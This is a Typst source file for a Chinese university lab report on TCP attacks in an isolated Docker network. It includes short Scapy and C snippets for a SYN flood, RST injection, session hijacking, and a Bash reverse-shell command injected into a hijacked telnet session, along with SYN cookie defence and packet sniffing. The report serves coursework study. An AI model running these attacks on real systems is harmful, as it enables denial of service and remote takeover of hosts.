251 lines
10 KiB
Typst
251 lines
10 KiB
Typst
#import "labtemplate.typ": *
|
||
#show: nudtlabpaper.with(title: "TCP 攻击实验",
|
||
author: "程景愉",
|
||
id: "202302723005",
|
||
training_type: "无军籍",
|
||
grade: "2023",
|
||
major: "网络工程",
|
||
department: "计算机学院",
|
||
advisor: "柳林",
|
||
jobtitle: "教授",
|
||
lab: "307-208",
|
||
date: "2026.05.04",
|
||
header_str: "《网络安全》实验报告",
|
||
)
|
||
#set page(header: [
|
||
#set par(spacing: 6pt)
|
||
#align(center)[#text(size: 11pt)[《网络安全》实验报告]]
|
||
#v(-0.3em)
|
||
#line(length: 100%, stroke: (thickness: 1pt))
|
||
],)
|
||
|
||
#show heading: it => box(width: 100%)[
|
||
#v(0.50em)
|
||
#set text(font: hei)
|
||
#counter(heading).display()
|
||
#it.body
|
||
]
|
||
|
||
// 代码块样式
|
||
#show raw.where(block: true): it => box(
|
||
fill: rgb("#f5f5f5"),
|
||
inset: (x: 12pt, y: 10pt),
|
||
radius: 6pt,
|
||
stroke: (thickness: 1pt, paint: rgb("#e0e0e0")),
|
||
it
|
||
)
|
||
|
||
#outline(title: "目录",depth: 3, indent: 2em)
|
||
#pagebreak()
|
||
|
||
= 实验目的
|
||
#para[
|
||
TCP 协议是互联网的核心协议之一,其三次握手和连接管理机制虽然保证了传输的可靠性,但也引入了一些潜在的安全漏洞。本次实验旨在通过亲身实践,深入理解 TCP 协议的常见攻击方式及其背后的技术原理。具体目标包括:
|
||
]
|
||
- 理解 TCP SYN 泛洪(SYN Flood)攻击的原理,掌握使用 Scapy 和 C 语言实现该攻击的方法,并验证 SYN Cookies 防御机制的有效性。
|
||
- 掌握 TCP 重置(Reset)攻击的技术细节,学习如何通过伪造 RST 包来强制中断已建立的 TCP 连接。
|
||
- 实践 TCP 会话劫持(Session Hijacking)技术,理解如何通过监听和预测序列号在现有会话中注入恶意指令。
|
||
- 掌握利用会话劫持创建反向 Shell(Reverse Shell)的方法,理解该技术在实际渗透测试中的重要作用。
|
||
- 学习使用 libpcap 库和原始套接字(Raw Socket)在 C 语言中实现底层的数据包嗅探与伪造。
|
||
|
||
= 实验原理
|
||
== TCP 三次握手与 SYN 泛洪
|
||
#para[
|
||
TCP 建立连接需要三次握手:客户端发送 SYN,服务器回复 SYN+ACK 并分配资源进入半连接(SYN-RECV)状态,最后客户端回复 ACK。SYN 泛洪攻击通过发送大量的 SYN 请求但不完成最后一步,使服务器的半连接队列(Backlog Queue)被占满,从而拒绝合法用户的连接请求。
|
||
]
|
||
|
||
== TCP 重置与会话劫持
|
||
#para[
|
||
TCP 协议允许通过发送 RST 标志位的数据包来立即终止异常连接。如果攻击者能够获取或预测当前连接的端口号 and 序列号,就可以伪造一个 RST 包发送给其中一方,导致连接被强制断开。
|
||
]
|
||
#para[
|
||
会话劫持则更进一步,攻击者不仅要断开连接,而是要在序列号步调一致的情况下注入自己的数据。通过伪造源地址和正确的序列号,接收方会认为这些数据来自合法的对端,从而执行注入的指令。
|
||
]
|
||
|
||
== 反向 Shell
|
||
#para[
|
||
反向 Shell 是指被攻击者主动连接攻击者的监听端口,并将自己的 Shell(如 `/bin/bash`)的输入输出重定向到该连接上。这种方式常用于突破防火墙的入站限制。
|
||
]
|
||
|
||
= 实验环境
|
||
#para[
|
||
本实验利用 Docker Compose 搭建了一个隔离的虚拟网络环境。该网络包含一台攻击者容器(Attacker)和三台用户/受害者容器。
|
||
]
|
||
#figure(
|
||
image("images/dockerps.png", width: 100%),
|
||
caption: [使用 docker ps 查看实验环境中的容器运行状态],
|
||
)
|
||
#align(center)[#table(
|
||
columns: (auto, auto, auto),
|
||
rows:(2em, 2em, 2em),
|
||
inset: 10pt,
|
||
align: horizon+center,
|
||
table.header([*主机角色*], [*IP地址*], [*说明*]),
|
||
"Attacker(攻击者)", "10.9.0.1 (host)", "运行攻击脚本,具有混杂模式权限",
|
||
"Victim (受害者)", "10.9.0.5", "运行 telnet 服务的目标服务器",
|
||
"User1 (合法用户)", "10.9.0.6", "实验中用于建立正常连接的主机",
|
||
)]
|
||
|
||
= 实验步骤及结果
|
||
|
||
== 任务集 1:SYN 泛洪攻击
|
||
|
||
=== 任务 1.1:使用 Python 发起攻击
|
||
#para[
|
||
使用 Scapy 编写 `synflood.py`。其核心逻辑是在一个无限循环中,利用 `getrandbits(32)` 生成随机的源 IP 地址,并构造 TCP 头部将 `flags` 设置为 `'S'` (SYN)。
|
||
]
|
||
```python
|
||
while True:
|
||
pkt[IP].src = str(IPv4Address(getrandbits(32))) # 随机源 IP
|
||
pkt[TCP].sport = getrandbits(16) # 随机源端口
|
||
pkt[TCP].seq = getrandbits(32) # 随机序列号
|
||
send(pkt, verbose = 0)
|
||
```
|
||
#figure(
|
||
image("images/task1.1_synflood.png", width: 90%),
|
||
caption: [运行 synflood.py 期间,Victim 上的 netstat 输出展示了大量处于 SYN_RECV 状态的连接],
|
||
)
|
||
|
||
=== 任务 1.2:使用 C 语言发起攻击
|
||
#para[
|
||
C 语言实现通过原始套接字直接构造 IP 和 TCP 头部。为了提高效率,我们手动计算了 TCP 校验和(包含伪首部)。
|
||
]
|
||
```c
|
||
// 核心循环:不断构造并发送 SYN 包
|
||
while (1) {
|
||
tcp->tcp_sport = rand();
|
||
tcp->tcp_flags = TH_SYN;
|
||
ip->iph_sourceip.s_addr = rand();
|
||
tcp->tcp_sum = calculate_tcp_checksum(ip); // 必须计算校验和
|
||
send_raw_ip_packet(ip);
|
||
}
|
||
```
|
||
#figure(
|
||
image("images/task1.2_synflood_c.png", width: 90%),
|
||
caption: [C 语言攻击下,Victim 的半连接队列瞬间被伪造包填满],
|
||
)
|
||
|
||
=== 任务 1.3:启用 SYN Cookie 防御
|
||
#para[
|
||
启用防御后,服务器不再在收到 SYN 时立即分配资源,而是将连接信息编码进 `SYN-ACK` 的序列号中。
|
||
]
|
||
#figure(
|
||
image("images/task1.3_syncookies.png", width: 90%),
|
||
caption: [开启 SYN Cookies 后,合法用户 User1 仍能成功连接 Victim],
|
||
)
|
||
|
||
== 任务 2:TCP 重置攻击
|
||
#para[
|
||
`reset_attack.py` 通过嗅探捕获 User1 发往 Victim 的包,提取其确认号(ACK)作为伪造 RST 包的序列号(SEQ),从而使 Victim 认为对端要求重置连接。
|
||
]
|
||
```python
|
||
def spoof_reset(pkt):
|
||
ip = IP(src=pkt[IP].dst, dst=pkt[IP].src)
|
||
# 关键:RST 包的 SEQ 必须在接收方的有效窗口内,通常设为对端的 ACK
|
||
tcp = TCP(sport=pkt[TCP].dport, dport=pkt[TCP].sport,
|
||
flags="R", seq=pkt[TCP].ack)
|
||
send(ip/tcp, verbose=0)
|
||
```
|
||
#figure(
|
||
image("images/task2_tcp_reset.png", width: 90%),
|
||
caption: [User1 的 telnet 窗口显示连接被成功重置],
|
||
)
|
||
|
||
== 任务 3:TCP 会话劫持
|
||
#para[
|
||
会话劫持需要更精确的序列号控制。我们通过嗅探获取当前的 SEQ 和 Payload 长度,计算出下一个合法的 SEQ,并注入指令。
|
||
]
|
||
```python
|
||
def hijack(pkt):
|
||
if pkt[TCP].payload:
|
||
ip = IP(src=pkt[IP].src, dst=pkt[IP].dst)
|
||
# 预测下一个 SEQ:当前 SEQ + 载荷长度
|
||
tcp = TCP(sport=pkt[TCP].sport, dport=pkt[TCP].dport, flags="A",
|
||
seq=pkt[TCP].seq + len(pkt[TCP].payload), ack=pkt[TCP].ack)
|
||
payload = "\r touch /tmp/hijack_successful \r"
|
||
send(ip/tcp/payload, verbose=0)
|
||
```
|
||
#figure(
|
||
grid(
|
||
columns: (1fr, 1fr),
|
||
gutter: 10pt,
|
||
image("images/task3_session_hijack-1.png", width: 100%),
|
||
image("images/task3_session_hijack-2.png", width: 100%),
|
||
),
|
||
caption: [会话劫持成功:在 Victim 容器中验证了文件的创建],
|
||
)
|
||
|
||
== 任务 4:创建反向 Shell
|
||
#para[
|
||
在劫持逻辑中,我们将注入的指令替换为 Bash 反向 Shell 指令。
|
||
]
|
||
```python
|
||
cmd = "\r /bin/bash -i > /dev/tcp/10.9.0.1/9090 0<&1 2>&1 \r"
|
||
```
|
||
#figure(
|
||
grid(
|
||
columns: (1fr, 1fr),
|
||
gutter: 10pt,
|
||
image("images/task4_reverse_shell-1.png", width: 100%),
|
||
image("images/task4_reverse_shell-2.png", width: 100%),
|
||
),
|
||
caption: [通过会话劫持注入反向 Shell,Attacker 成功获得受害者控制权],
|
||
)
|
||
|
||
== 任务集 2:基于 C 的嗅探与伪造
|
||
|
||
=== 任务 2.1:基于 libpcap 的嗅探
|
||
#para[
|
||
C 语言嗅探器通过 `pcap_loop` 持续处理报文。在回调函数中,我们通过指针偏移来解析 IP 头部。
|
||
]
|
||
```c
|
||
void got_packet(u_char *args, const struct pcap_pkthdr *header, const u_char *packet) {
|
||
// 跳过以太网头 (14字节) 到达 IP 头
|
||
struct ipheader *ip = (struct ipheader *)(packet + 14);
|
||
printf(" From: %s\n", inet_ntoa(ip->iph_sourceip));
|
||
printf(" To: %s\n", inet_ntoa(ip->iph_destip));
|
||
}
|
||
```
|
||
#figure(
|
||
image("images/task2.1_c_sniffer.png", width: 90%),
|
||
caption: [C 语言嗅探器成功输出实时抓取的 IP 报文信息],
|
||
)
|
||
|
||
=== 任务 2.3:嗅探与伪造联动 (Sniff-and-Spoof)
|
||
#para[
|
||
该任务要求程序在捕获到 ICMP 请求时立即构造一个 Reply。
|
||
]
|
||
```c
|
||
if (icmp->icmp_type == 8) { // 检测到 Echo Request
|
||
new_ip->iph_sourceip = ip->iph_destip; // 交换源目 IP
|
||
new_ip->iph_destip = ip->iph_sourceip;
|
||
new_icmp->icmp_type = 0; // 设置为 Echo Reply
|
||
new_icmp->icmp_chksum = 0; // 重新计算校验和
|
||
new_icmp->icmp_chksum = in_cksum(...);
|
||
send_raw_ip_packet(new_ip);
|
||
}
|
||
```
|
||
#figure(
|
||
image("images/task2.3_c_sniff_spoof.png", width: 90%),
|
||
caption: [联动程序成功欺骗 User1,使其认为 1.2.3.4 在线],
|
||
)
|
||
|
||
=== 任务 2.1A:理解嗅探器工作原理
|
||
|
||
*问题 1:必不可少的库调用序列*
|
||
1. `pcap_open_live()`: 打开指定的网络接口进行捕获。
|
||
2. `pcap_compile()`: 将字符串形式的过滤表达式编译为 BPF 程序。
|
||
3. `pcap_setfilter()`: 将编译好的过滤器安装到捕获句柄。
|
||
4. `pcap_loop()`: 进入捕获循环,对每个包调用回调函数。
|
||
|
||
*问题 2:为何需要 Root 权限?*
|
||
嗅探程序需要创建原始套接字并开启网卡的混杂模式,这些操作涉及到对硬件和底层网络栈的直接控制,为了安全起见,操作系统仅允许特权用户(Root)执行。如果非特权用户运行,`pcap_open_live()` 将返回权限错误。
|
||
|
||
*问题 3:混杂模式(Promiscuous Mode)*
|
||
在实验中,将 `pcap_open_live()` 的第三个参数设为 1 开启混杂模式,0 则关闭。开启后,攻击者可以捕获到局域网内任意两台主机(如 User1 和 Victim)之间的通信;关闭后,仅能捕获到发往本机或广播地址的流量。
|
||
|
||
= 实验总结
|
||
#para[
|
||
本次实验通过 Python 和 C 两种维度的实践,让我对 TCP/IP 协议栈的安全缺陷有了透彻的理解。从高层脚本的便捷性到低层 C 语言对每一比特的精准控制,我深刻体会到了网络攻防中"细节决定成败"的道理。特别是在序列号预测和校验和计算方面的实践,为我今后深入学习网络协议安全打下了坚实基础。
|
||
]
|